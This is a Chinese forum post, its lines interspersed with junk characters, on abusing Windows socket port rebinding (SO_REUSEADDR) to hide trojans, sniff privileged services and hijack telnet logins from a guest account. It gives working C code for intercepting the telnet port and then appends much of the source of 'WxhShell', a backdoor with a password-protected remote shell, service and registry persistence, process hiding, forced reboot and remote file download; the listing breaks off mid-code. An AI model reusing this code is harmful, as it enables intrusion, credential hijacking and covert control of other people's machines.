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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :a@z53X@M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N=wy)+  
}2,#[m M  
  saddr.sin_family = AF_INET; QZox3LM1&.  
ZG<!^tj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uP2a\C,$  
& }}WP:U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *$C[![   
34Khg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 a?~csP^?}  
u/c3omY"#  
  这意味着什么?意味着可以进行如下的攻击: SYPMoE!U:  
MwqT`;lb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z;\"pP:  
Z<<gz[$+p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f;H#TSJ  
qjzW9yV+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z xUj1  
O f@#VZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {taVAcb  
"nno)~)u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~!9Px j*  
=L),V~b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *;E+9^:V  
UH-uU~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F(~_L.  
"ak9LZQ9z  
  #include Wx)U<:^e  
  #include X/K)kIi  
  #include 3;S`<  
  #include    I''R\B p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `{lAhZ5  
  int main() Z WRRh^  
  { v#]v,C-*  
  WORD wVersionRequested; g+ 1=5g  
  DWORD ret; E+ 3yN\X(  
  WSADATA wsaData; <-B"|u  
  BOOL val; kefv=n*]l  
  SOCKADDR_IN saddr; !FO^:V<|5  
  SOCKADDR_IN scaddr; ! M&un*  
  int err; oXlxPN39  
  SOCKET s; ]ZzG!7  
  SOCKET sc; s7nX\:Bw:  
  int caddsize; DwY<qNWT  
  HANDLE mt; H4'DL'83  
  DWORD tid;   O0wCb  
  wVersionRequested = MAKEWORD( 2, 2 ); O< tnM<"(  
  err = WSAStartup( wVersionRequested, &wsaData ); -N7L #a  
  if ( err != 0 ) { v<3o[mq  
  printf("error!WSAStartup failed!\n"); ) Zb`~w  
  return -1; vo6[2.HS  
  } Wd` QpW  
  saddr.sin_family = AF_INET; '*N9"C  
   n^pZXb;Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iQ|,&K0d]  
leES YSY:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {#1j"  
  saddr.sin_port = htons(23); v=.z|QD^1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @9uYmkcV  
  { xa{<R+LR  
  printf("error!socket failed!\n"); oa &z/`@  
  return -1; J(EaE2  
  } nRXSW&V"m  
  val = TRUE; rI<nUy P?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?VZ11?u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XnE %$NJ  
  { hk@`N;dn  
  printf("error!setsockopt failed!\n"); i'Y'HI  
  return -1; Q\27\2  
  } jKj=#O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "s>fV9YyZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oF;%^XFp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ," C[Qg(  
P^8^1-b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %9QMzz5  
  { .lvI8Jf~X  
  ret=GetLastError(); vr{'FMc  
  printf("error!bind failed!\n"); nxyjL)!)0  
  return -1; 3'[Rvy{  
  } ;V(H7 ZM  
  listen(s,2); *b Ci2mbm@  
  while(1) 9U|<q  
  { $bZu^d,  
  caddsize = sizeof(scaddr);  's>#8;X  
  //接受连接请求 PG6[lHmi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~*7O(8  
  if(sc!=INVALID_SOCKET) selP=Q!  
  { ?{ B[^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @PPR$4  
  if(mt==NULL) 7_Ba3+9jpa  
  { Qj 6gg  
  printf("Thread Creat Failed!\n"); cxXbo a  
  break; <I7(eh6d  
  } lx{.H,1~  
  } %bIsrQ~B  
  CloseHandle(mt); p-5P as  
  } b:P\=k]8#  
  closesocket(s); 8pYyG |\  
  WSACleanup(); m<FF$pTT  
  return 0; LkJ$aW/  
  }   O9t=lrYV!  
  DWORD WINAPI ClientThread(LPVOID lpParam) F+ffl^BQ  
  { !uWxRpT,7  
  SOCKET ss = (SOCKET)lpParam; gB]C&Q  
  SOCKET sc; 7$(_j<o`  
  unsigned char buf[4096]; C(-[ Y!  
  SOCKADDR_IN saddr; XVQL.A7  
  long num; m_Mwg  
  DWORD val; sA/,+aM  
  DWORD ret; 2B HKS-J*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <1aa~duT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7w "sJ  
  saddr.sin_family = AF_INET; hzaLx8L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OuB2 x=B  
  saddr.sin_port = htons(23); KHvIN}V5?3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Uh|TDuM  
  { |]^l^e 6m  
  printf("error!socket failed!\n"); a*Rz<08  
  return -1; eh$G.-2N  
  } <O;&qT*b  
  val = 100; @. "q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "?$L'!bM@  
  { xb%/sz(4  
  ret = GetLastError(); csYy7uzi  
  return -1; e\`wlaP,  
  } t-_#Q bzE{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jf2e<?`  
  { F y b[{"  
  ret = GetLastError(); !?jK1{E3  
  return -1; <BSSa`N`  
  } -:MmSeG7gO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8Bq-0=E  
  { jQ6Xr&}  
  printf("error!socket connect failed!\n"); {Jrf/p9w  
  closesocket(sc); -(!uC +BZX  
  closesocket(ss); )&>L !,z  
  return -1; RF:04d  
  } 6VC-KY  
  while(1) /w0sj`;"  
  { jDkm:X}:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Wu,S\!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >zQNHSi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rR\;G2p)  
  num = recv(ss,buf,4096,0); MZ WmlJ   
  if(num>0) vTdUuj3N  
  send(sc,buf,num,0); n!ZMTcK8  
  else if(num==0) 0 <g{ V  
  break; K!p,x;YX  
  num = recv(sc,buf,4096,0); *,17x`1e  
  if(num>0) +,z) #  
  send(ss,buf,num,0); e^zHw^js  
  else if(num==0) JRXRi*@  
  break; (Izf L1  
  } S nW7x  
  closesocket(ss); tU{\ev$x  
  closesocket(sc); m^Glc?g<  
  return 0 ; 44~hw:   
  } ;,k=<]  
/[%w*v*'  
:> SLQ[1  
========================================================== cAb>2]M5V  
4^[ /=J}  
下边附上一个代码,,WXhSHELL tF^g<)S;t  
->h5T%sn  
========================================================== ?_%u)S*g  
KzNm^^#/$A  
#include "stdafx.h" Z5$fE7ba+  
_%B/!)v  
#include <stdio.h> pw\P<9e=  
#include <string.h> ;}K62LSR  
#include <windows.h> wx*1*KZ  
#include <winsock2.h> q(Hip<6p  
#include <winsvc.h> !p',Za   
#include <urlmon.h> hO \/  
x#r<,uNn,  
#pragma comment (lib, "Ws2_32.lib") /OG zt  
#pragma comment (lib, "urlmon.lib") CW p#^1F  
-uj3'g (;w  
#define MAX_USER   100 // 最大客户端连接数 FY4T(4#  
#define BUF_SOCK   200 // sock buffer k"0;D-lTZ>  
#define KEY_BUFF   255 // 输入 buffer 6e.[,-eU  
[EOVw%R  
#define REBOOT     0   // 重启 U*\17YU6h  
#define SHUTDOWN   1   // 关机 &I/qG`W  
KP{3iUqvO  
#define DEF_PORT   5000 // 监听端口 )M:)y  
N 9LgU)-Jt  
#define REG_LEN     16   // 注册表键长度 Q|c|2byb  
#define SVC_LEN     80   // NT服务名长度 - {{[cT I  
VD [pZ2;4  
// 从dll定义API N=~~EtX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 59lj7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vy9dAl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S&wzB)#'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WbcS: !0  
2hq\n<  
// wxhshell配置信息 #]Y*0Wzpfn  
struct WSCFG { a <wL#Id  
  int ws_port;         // 监听端口 x)oRSsv!Tr  
  char ws_passstr[REG_LEN]; // 口令 *yez:qnx  
  int ws_autoins;       // 安装标记, 1=yes 0=no B(,:haAr  
  char ws_regname[REG_LEN]; // 注册表键名 t)a;/scT  
  char ws_svcname[REG_LEN]; // 服务名 r,;\/^u*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FFvCi@oT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [Y/:@t"2y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zK;XF N#U^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G%:G eW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U>Gg0`>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .zkP~xQ~  
H=~9CJ+tc  
}; :_HF j.JW  
s&Yi 6:J  
// default Wxhshell configuration sn{tra  
struct WSCFG wscfg={DEF_PORT, r*XLV{+4  
    "xuhuanlingzhe", (CE7j<j  
    1, Apfnx7Fv  
    "Wxhshell", 7x k|+!  
    "Wxhshell", 4 b,N8  
            "WxhShell Service", 4XJiIa?  
    "Wrsky Windows CmdShell Service", {vVTv SC  
    "Please Input Your Password: ", mYv(R!37'  
  1, D/ Dt   
  "http://www.wrsky.com/wxhshell.exe", s([dGD$i  
  "Wxhshell.exe" i$uN4tVKT  
    }; [*4fwk^  
8Vn4.R[vE  
// 消息定义模块 $>q@SJ1q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6v732;^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m9":{JI.w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2`bdrRD0  
char *msg_ws_ext="\n\rExit."; uY#TEjGh]  
char *msg_ws_end="\n\rQuit."; /aqEJGG>  
char *msg_ws_boot="\n\rReboot..."; <02m%rhuW  
char *msg_ws_poff="\n\rShutdown..."; vjUp *R>h  
char *msg_ws_down="\n\rSave to "; 55DE\<r  
S#l5y%&  
char *msg_ws_err="\n\rErr!"; J/x2qQ$9  
char *msg_ws_ok="\n\rOK!"; PK2~fJB  
@g-Tk  
char ExeFile[MAX_PATH]; *?% k#S  
int nUser = 0; h<l1U'Bn7  
HANDLE handles[MAX_USER]; = |U@  
int OsIsNt; :d,^I@]  
e %O0hE  
SERVICE_STATUS       serviceStatus; 3$/ 4wH^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; md Gwh7/3  
EbQa?  
// 函数声明 9 c3E+  
int Install(void);  zGlZ!t:  
int Uninstall(void); 3iX?~  
int DownloadFile(char *sURL, SOCKET wsh); pdVQ*=c?M  
int Boot(int flag); b[ w;i]2  
void HideProc(void); 5Av=3[kh"%  
int GetOsVer(void); x3G:(YfO  
int Wxhshell(SOCKET wsl); L ^`}J7r  
void TalkWithClient(void *cs); C NrII sJ  
int CmdShell(SOCKET sock); )A8v];.]3  
int StartFromService(void); Z;DCI-Wg  
int StartWxhshell(LPSTR lpCmdLine); dp5cDF}l  
[ .,>wo~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P 7D!6q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l.=p8-/$'7  
^QX bJJ  
// 数据结构和表定义 au@a8MP  
SERVICE_TABLE_ENTRY DispatchTable[] = r6.d s^  
{ V"KS[>>f  
{wscfg.ws_svcname, NTServiceMain}, &, a3@i  
{NULL, NULL} ~qP[eWe  
}; (P|pRVO  
nHXX\i  
// 自我安装 o^p  
int Install(void) p*3; hGp6  
{ X` YwP/D  
  char svExeFile[MAX_PATH]; YA]5~ ZE\  
  HKEY key; &2.u%[gO[q  
  strcpy(svExeFile,ExeFile); BOVPKX  
'DbMF?<.  
// 如果是win9x系统,修改注册表设为自启动 _=XX~^I,  
if(!OsIsNt) { QO;4}rq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b{7E;KyY,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2[yBD-":  
  RegCloseKey(key); 7Ke&0eAw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r?$ ?;%|C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }?8uH/+ZA  
  RegCloseKey(key); W7No ls{  
  return 0; WgQBGch,!  
    } 4_?7&G0(  
  } e /K#>,  
} ( )T[$.(  
else { `C E^2  
^%T7.1'x  
// 如果是NT以上系统,安装为系统服务 |UnUG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3,X/,'  
if (schSCManager!=0) vw>jJ  
{ HfNDD| Zz  
  SC_HANDLE schService = CreateService vG41Ck1  
  ( ^C)n$L>C0  
  schSCManager, &dB-r&4;+  
  wscfg.ws_svcname, ,T,:-E  
  wscfg.ws_svcdisp, .x83Ah`  
  SERVICE_ALL_ACCESS, A#wEuX=[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sN=6gCau  
  SERVICE_AUTO_START, xl9aV\W  
  SERVICE_ERROR_NORMAL, %:v`EjRD0  
  svExeFile, : esg(  
  NULL, :a[Ihqfg  
  NULL, bzpFbfb  
  NULL, knp>m,w  
  NULL, dtStTT  
  NULL l: |D,q  
  ); Dr3n+Q   
  if (schService!=0) OR6ML- |  
  { Y,S\2or$  
  CloseServiceHandle(schService); ChrY"  
  CloseServiceHandle(schSCManager); }=](p-]5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^Mkk@F&1  
  strcat(svExeFile,wscfg.ws_svcname); n 1b(\PA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `(y(w-:W1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8TV;Rtl  
  RegCloseKey(key); 9' 1B/{  
  return 0; DPgm%Xq9(!  
    } )}v 3q6?_  
  } gO?44^hMe  
  CloseServiceHandle(schSCManager); X?r48l??  
} j-@kW'K  
} V)M1YZV{  
M+>`sj  
return 1; %hS|68pN6  
} `bI)<B  
>T3H qYX5W  
// 自我卸载 6SM:x]`##,  
int Uninstall(void) I_)*)d44_  
{ 83~ i:+;  
  HKEY key; l U]un&[N  
}l0&a!C  
if(!OsIsNt) { or*HC&c7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { le)DgIT>=  
  RegDeleteValue(key,wscfg.ws_regname); >Q E{O.Z  
  RegCloseKey(key); nt1CTWKM8^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n`Z"rwKmNw  
  RegDeleteValue(key,wscfg.ws_regname); is; XmF*5=  
  RegCloseKey(key); ;^u*hZN[Up  
  return 0; "@3@/I  
  } m4w ') r~  
} .\3`2  
} -cF'2Sfr  
else { ?9MVM~$  
[U =Uo*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R0Ue0pF7  
if (schSCManager!=0) -4#2/GXNO  
{ EOKzzX7 S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iTo k[uJ}  
  if (schService!=0) v`[Eb27W.  
  { A~ (l{g  
  if(DeleteService(schService)!=0) { CG]Sj*SA~  
  CloseServiceHandle(schService); #Doq P:  
  CloseServiceHandle(schSCManager); NtGn88='{  
  return 0; V}w;Y?] J  
  } {04"LAE  
  CloseServiceHandle(schService); >-< 8N-@"n  
  } X<OSN&d  
  CloseServiceHandle(schSCManager); Q/>L_S  
} [`=LTBt  
} ?dZt[vAMn  
a?5[k}\  
return 1; X~.f7Ao[  
} ~:Uw g+]j  
OK|qv[  
// 从指定url下载文件 ,SlN zR  
int DownloadFile(char *sURL, SOCKET wsh) Oeya%C5'  
{ "O>n@Q|  
  HRESULT hr; Wo$%9!W  
char seps[]= "/"; 8G%yB}pa  
char *token; ,hxkk`  
char *file; 'rP]Nw  
char myURL[MAX_PATH]; >?W[PQ5yx  
char myFILE[MAX_PATH]; N6oq90G  
"$HbK @]!h  
strcpy(myURL,sURL); W{cY6@  
  token=strtok(myURL,seps); :7N3N  
  while(token!=NULL) .4.pJbOg  
  { =dP{Gh  
    file=token; ]LPQYL  
  token=strtok(NULL,seps); !{^\1QK  
  } *DI)?  
;)0w:Zn/[  
GetCurrentDirectory(MAX_PATH,myFILE); )o _j]K+xI  
strcat(myFILE, "\\"); eEc4bVQa  
strcat(myFILE, file); 0\{BWNK  
  send(wsh,myFILE,strlen(myFILE),0); C"T1MTB  
send(wsh,"...",3,0); N^?9ZO   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z +2V4s=  
  if(hr==S_OK) {y kYW%3s  
return 0; >:sUL<p  
else 5m$2Ku  
return 1; ~89P[$6  
gW(gJ; L,%  
} +~Cy$M CX  
n7LfQWc  
// 系统电源模块 DmqX"x%P  
int Boot(int flag) t-%Q`V=[  
{ (AY9oei>  
  HANDLE hToken; ri~<~oB 2:  
  TOKEN_PRIVILEGES tkp; i?;r7>  
{C*\O)Gep  
  if(OsIsNt) { }$su4A@0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); omZO+=8Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Tm]nEl)_  
    tkp.PrivilegeCount = 1; v"u^M-_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .?C%1a&_l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }WFf''Z-  
if(flag==REBOOT) { "T/>d%O1b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [K~]&  
  return 0; e>'H IO  
} 6Q|k7*,B  
else { 5@osnf?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -!qu"A:  
  return 0; 6x{<e4<n  
} ]pA(K?Lbg  
  } }SyxPXs  
  else { rk2xKm^w  
if(flag==REBOOT) { EER`?Sa(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M s9E@E  
  return 0; RH0>ZZR  
} %rQuBi# 1f  
else { Kz8:UG(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z~6y+  
  return 0; Eq% @"-m o  
} < O*6 T%;  
} !#ri5{od  
`WEZ"5n  
return 1; {X]R-1>  
} Uh}seB#mJj  
AZ|yX  
// win9x进程隐藏模块 V2Q$g^X'  
void HideProc(void) &>WWzikB*  
{ }n,Zl>T9  
5`/@N{e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Is<"OQ  
  if ( hKernel != NULL ) Ko>&)%))$X  
  { t,)N('m}=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N<|$h5isq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _GQz!YA  
    FreeLibrary(hKernel); p4>$z& _  
  } O^>jdl!TZ  
Z[!d*O%R_  
return; FUK3)lT  
} k#TYKft  
gCd`pi 8  
// 获取操作系统版本 aMARZ)V  
int GetOsVer(void) [36,eK  
{ ?eV(1 Fr@  
  OSVERSIONINFO winfo; Dz=k7zRg"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V+-$ jOh  
  GetVersionEx(&winfo); iyZZ}M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gQSNU_o Z  
  return 1; u D 5%E7  
  else _?7#MWe&  
  return 0; .N4  
} 5(2|tJw-H;  
O[17";P  
// 客户端句柄模块 ~d{.ng 4K  
int Wxhshell(SOCKET wsl) 2g*J  
{ R)?{]]v  
  SOCKET wsh; h.rD}N\L  
  struct sockaddr_in client; ?8dVH2W.  
  DWORD myID; /5AW?2)  
+eQe%U  
  while(nUser<MAX_USER) G |*(8r()  
{ Y/TlE?  
  int nSize=sizeof(client); ;P&y,:<m:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2s*#u<I  
  if(wsh==INVALID_SOCKET) return 1; )o1eWL}  
V=I"-k}RL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a~h:qpg c  
if(handles[nUser]==0) $VG*q  
  closesocket(wsh); n;HHogA  
else 8GPIZh'0 h  
  nUser++; z_;3H,z`  
  } =+5,B\~q@C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }g +;y  
5/",<1  
  return 0; [@ <sFP;g  
} x"kjs.d7[<  
>!e<}84b  
// 关闭 socket )/ Ud^wi  
void CloseIt(SOCKET wsh) ?[TfpAtQ`  
{ { kSf{>Ia  
closesocket(wsh); dBsX*}C  
nUser--; H?1xjY9sl  
ExitThread(0); cxeghy:;U  
} #H [Bb2(j  
gC%G;-gm  
// 客户端请求句柄 O-vGyNxP|  
void TalkWithClient(void *cs) h<<>3A  
{ MfF~8  
P`4]-5gE  
  SOCKET wsh=(SOCKET)cs; ->z54 T  
  char pwd[SVC_LEN]; PupM/?57  
  char cmd[KEY_BUFF]; h+.{2^x  
char chr[1]; iO /XhSD  
int i,j; a/Q$cOs  
-Lu)'+  
  while (nUser < MAX_USER) { n>3U_yt6b  
c'6g*%2k  
if(wscfg.ws_passstr) { <`X"}I3 ba  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $yDWu"R8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =.<@`1  
  //ZeroMemory(pwd,KEY_BUFF); :,;K>l^U  
      i=0; p?[Tm*r  
  while(i<SVC_LEN) {  ~fl@ 2  
A,-6|&F  
  // 设置超时 TlL^7f}  
  fd_set FdRead; VpfUm?Nq  
  struct timeval TimeOut; 8*SDiZ  
  FD_ZERO(&FdRead); <tpmUA[]  
  FD_SET(wsh,&FdRead); +:=(#Y  
  TimeOut.tv_sec=8; 5wB =>  
  TimeOut.tv_usec=0; [AH6~-\x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M}:=zcZ l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L$'[5"ma ;  
|Z\R*b"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3uU]kD^  
  pwd=chr[0];  j1?j6s  
  if(chr[0]==0xd || chr[0]==0xa) { yNW\?Z$@q  
  pwd=0; fy@avo9  
  break; 84HUBud76Y  
  } j.~!dh$mg  
  i++; R_] {2~J+  
    } -U~   
eAUcv`[#p  
  // 如果是非法用户,关闭 socket !f>d_RG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nMDxH $O  
} }7fZ[J3  
CO-_ea U(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gM>t0)mGK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {l_{T4xToB  
V^y^ ;0I}[  
while(1) { -yxOBq  
~/NKw:  
  ZeroMemory(cmd,KEY_BUFF); pY4}>ju(g  
hLJM%on  
      // 自动支持客户端 telnet标准   yJuQ8+vgR}  
  j=0; Yw _+`,W   
  while(j<KEY_BUFF) { ,Vd\m"K{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pZ`|iLNl-  
  cmd[j]=chr[0]; MT(o"ltQ  
  if(chr[0]==0xa || chr[0]==0xd) { %1pYE Hn  
  cmd[j]=0; #T`t79*N  
  break; d]9U^iy  
  } jq'!UN{  
  j++; I%|>2}-_U  
    } 2|\A7.  
OY[e.N t&  
  // 下载文件 !=;XBd-  
  if(strstr(cmd,"http://")) { ,mRyQS'F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |AZg*T3:W  
  if(DownloadFile(cmd,wsh)) I H$0)g;s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gm*X'[\DD  
  else e1//4H::t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &d7Z6P'`G  
  } oYWR')8g  
  else { NvM*h%ChM  
</uO e.l>Q  
    switch(cmd[0]) { S9HwIH\m  
  rD>*j~_+P  
  // 帮助 w[P4&?2:  
  case '?': { (EPsTox  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u!1{Vt87  
    break; QMv@:Eo  
  } R^{)D3  
  // 安装 %s19KGpA  
  case 'i': { Z{?G.L*/  
    if(Install()) fdONP>K[E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5zON}"EC  
    else IK*07h/!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1CLL%\V  
    break; 8enEA^  
    } 26CS6(sn  
  // 卸载 fNGZo  
  case 'r': { iQ{G(^sZN  
    if(Uninstall()) +iOKbc'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V|\7')Qq  
    else  Q1@A2+ c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yCCrK@{oo  
    break; "`N-*;*W  
    } 4&l10fR5  
  // 显示 wxhshell 所在路径 B=|cS;bM$3  
  case 'p': { Sna4wkbS  
    char svExeFile[MAX_PATH]; a22XDes=  
    strcpy(svExeFile,"\n\r"); hB{jUP) ";  
      strcat(svExeFile,ExeFile); ws4cF N9P?  
        send(wsh,svExeFile,strlen(svExeFile),0); H#ClIh?'b  
    break; nS>8bub30  
    } _V`DWR *  
  // 重启 +>JjvYx}\  
  case 'b': { # W"=ry3{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >LDhU%bH  
    if(Boot(REBOOT)) k5]j.V2f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sH\5/'?  
    else { 1^gl}^|B  
    closesocket(wsh); &c1A*Pl/:G  
    ExitThread(0); /Z7iLq~t"G  
    } rx}r~0i  
    break; jlxpt)0i  
    } y+7PwBo%e  
  // 关机 * RtgC/  
  case 'd': { u{L!n$D7  
